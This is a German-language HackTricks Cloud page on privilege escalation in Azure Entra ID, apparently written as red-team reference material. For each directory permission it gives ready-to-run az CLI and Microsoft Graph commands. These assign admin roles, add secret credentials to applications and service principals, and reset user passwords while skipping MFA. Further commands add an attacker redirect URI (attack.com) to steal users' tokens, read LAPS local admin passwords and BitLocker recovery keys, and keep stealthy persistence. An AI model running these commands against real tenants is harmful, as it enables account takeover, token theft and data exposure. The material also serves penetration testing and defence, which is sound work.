Az - EntraID Privesc
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
Note
Beachte, dass nicht alle granularen Berechtigungen, die eingebaute Rollen in Entra ID haben, zur Verwendung in custom roles geeignet sind.
Roles
Role: Privileged Role Administrator
Diese Rolle enthält die notwendigen granularen Berechtigungen, um Rollen an principals zuzuweisen und Rollen mehr Berechtigungen zu geben. Beide Aktionen könnten missbraucht werden, um privileges zu escalieren.
- Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Weitere Berechtigungen zu einer Rolle hinzufügen:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Anwendungen
microsoft.directory/applications/credentials/update
Dies ermöglicht einem Angreifer, Anmeldedaten hinzuzufügen (Passwörter oder Zertifikate) zu bestehenden Anwendungen. Wenn die Anwendung privilegierte Berechtigungen hat, kann sich der Angreifer als diese Anwendung authentifizieren und diese Privilegien erlangen.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Dies ermöglicht dieselben Aktionen wie applications/credentials/update, aber beschränkt auf Single-Directory-Anwendungen.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Durch das Hinzufügen von sich selbst als Owner kann ein Angreifer die Application manipulieren, einschließlich credentials und permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Ein Angreifer kann eine redirect URI zu Anwendungen hinzufügen, die von Benutzern des tenants verwendet werden, und ihnen dann login URLs mit der neuen redirect URL schicken, um ihre tokens zu stehlen. Beachte, dass, wenn der Benutzer bereits in der Anwendung eingeloggt war, die authentication automatisch erfolgt, ohne dass der Benutzer irgendetwas akzeptieren muss.
Beachte, dass es auch möglich ist, die permissions zu ändern, die die Anwendung anfordert, um mehr permissions zu erhalten, aber in diesem Fall muss der Benutzer die Abfrage, die nach allen permissions fragt, erneut akzeptieren.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
Wie in diesem Post erklärt war es sehr üblich, standardmäßige Applications zu finden, denen API permissions vom Typ Application zugewiesen waren. Eine API Permission (wie in der Entra ID console genannt) vom Typ Application bedeutet, dass die application auf die API zugreifen und Aktionen ohne user context ausführen kann (ohne user login in die app) und ohne Entra ID roles zu benötigen, die das erlauben. Daher ist es sehr üblich, hoch privilegierte applications in jedem Entra ID tenant zu finden.
Wenn ein attacker dann irgendeine permission/role hat, die es erlaubt, die credentials (secret o certificate) der application zu aktualisieren, kann der attacker ein neues credential erzeugen und es dann verwenden, um sich als die application zu authenticate, wodurch er alle permissions erhält, die die application hat.
Beachte, dass der erwähnte blog einige API permissions gängiger Microsoft-Standardapplications teilt; jedoch hat Microsoft einige Zeit nach diesem Bericht dieses Problem behoben und jetzt ist es nicht mehr möglich, sich als Microsoft applications anzumelden. Es ist jedoch weiterhin möglich, custom applications mit hohen privileges zu finden, die missbraucht werden könnten.
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Finde alle Anwendungs-API-Berechtigungen und markiere Microsoft-eigene APIs
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Dies ermöglicht es einem Angreifer, Credentials zu bestehenden Service Principals hinzuzufügen. Wenn der Service Principal erhöhte Privilegien hat, kann der Angreifer diese Privilegien übernehmen.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
Das neu generierte Passwort wird nicht in der Web-Konsole angezeigt, daher könnte dies ein stealth Weg sein, um Persistence über einen service principal aufrechtzuerhalten.
Über die API können sie gefunden werden mit:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Wenn du den Fehler "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." erhältst, dann liegt das daran, dass es nicht möglich ist, die Eigenschaft passwordCredentials des SP zu ändern, und du ihn zuerst unlocken musst. Dafür brauchst du eine permission (microsoft.directory/applications/allProperties/update), mit der du Folgendes ausführen kannst:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Dies ermöglicht es einem Angreifer, bestehende Service Principals mit Anmeldeinformationen zu versehen. Wenn der Service Principal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Ähnlich wie bei applications erlaubt diese permission, einem service principal weitere owners hinzuzufügen. Der Besitz eines service principal ermöglicht die Kontrolle über seine credentials und permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Nachdem ich einen neuen Owner hinzugefügt hatte, versuchte ich, ihn zu entfernen, aber die API antwortete, dass die DELETE-Methode nicht unterstützt werde, obwohl genau diese Methode nötig ist, um den Owner zu löschen. Also kann man Owners heutzutage nicht entfernen.
microsoft.directory/servicePrincipals/disable und enable
Diese Berechtigungen erlauben es, service principals zu deaktivieren und zu aktivieren. Ein Angreifer könnte diese Berechtigung nutzen, um einen service principal zu aktivieren, auf den er irgendwie Zugriff erlangen konnte, um seine Privileges zu eskalieren.
Beachte, dass der Angreifer für diese Technik weitere Berechtigungen benötigt, um die Kontrolle über den aktivierten service principal zu übernehmen.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Diese Berechtigungen erlauben das Erstellen und Abrufen von Anmeldeinformationen für Single Sign-On, was Zugriff auf Drittanbieteranwendungen ermöglichen könnte.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Gruppen
microsoft.directory/groups/allProperties/update
Diese Berechtigung ermöglicht es, Benutzer zu privilegierten Gruppen hinzuzufügen, was zu einer Privilege Escalation führt.
az ad group member add --group <GroupName> --member-id <UserId>
Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.
microsoft.directory/groups/owners/update
Diese Berechtigung erlaubt es, ein owner von groups zu werden. Ein owner einer group kann die Gruppenmitgliedschaft und Einstellungen kontrollieren und dadurch potenziell Privilegien auf die group eskalieren.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Hinweis: Diese Berechtigung schließt Entra ID role-assignable groups aus.
microsoft.directory/groups/members/update
Diese Berechtigung erlaubt das Hinzufügen von Mitgliedern zu einer group. Ein Angreifer könnte sich selbst oder schädliche Konten zu privilegierten groups hinzufügen, was erhöhten Zugriff gewähren kann.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Diese Berechtigung erlaubt es, die Membership Rule in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen ohne explizite Hinzufügung aufzunehmen.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Note: Diese Berechtigung schließt Entra ID role-assignable groups aus.
Dynamic Groups Privesc
Es könnte möglich sein, dass Benutzer ihre Privilegien eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder von dynamic groups hinzugefügt zu werden. Für weitere Infos siehe:
Users
microsoft.directory/users/password/update
Diese Berechtigung erlaubt es, das Passwort von Nicht-Admin-Benutzern zurückzusetzen, wodurch ein potenzieller Angreifer seine Privilegien auf andere Benutzer eskalieren kann. Diese Berechtigung kann nicht custom roles zugewiesen werden.
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
microsoft.directory/users/basic/update
Diese Privilege erlaubt es, Eigenschaften des Users zu ändern. Es ist üblich, dynamic groups zu finden, die Users basierend auf property values hinzufügen. Daher könnte diese permission einem User erlauben, den benötigten property value zu setzen, um Mitglied einer bestimmten dynamic group zu werden und Privileges zu escalaten.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Fehlkonfigurierte Conditional Access Policies, die MFA erfordern, könnten umgangen werden, prüfe:
Az - Conditional Access Policies & MFA Bypass
Devices
microsoft.directory/devices/registeredOwners/update
Diese Berechtigung erlaubt Angreifern, sich selbst als Besitzer von Devices zuzuweisen, um Kontrolle oder Zugriff auf gerätespezifische Einstellungen und Daten zu erlangen.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Diese Berechtigung ermöglicht es Angreifern, ihr Konto mit Geräten zu verknüpfen, um Zugriff zu erlangen oder Sicherheitsrichtlinien zu umgehen.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Diese Berechtigung ermöglicht es Angreifern, die Eigenschaften der gesicherten lokalen Administrator-Kontodaten für Microsoft Entra-verbundene Geräte zu lesen, einschließlich des Passworts
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Keys, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und dadurch die Datenvertraulichkeit zu kompromittieren.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Andere interessante Berechtigungen (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

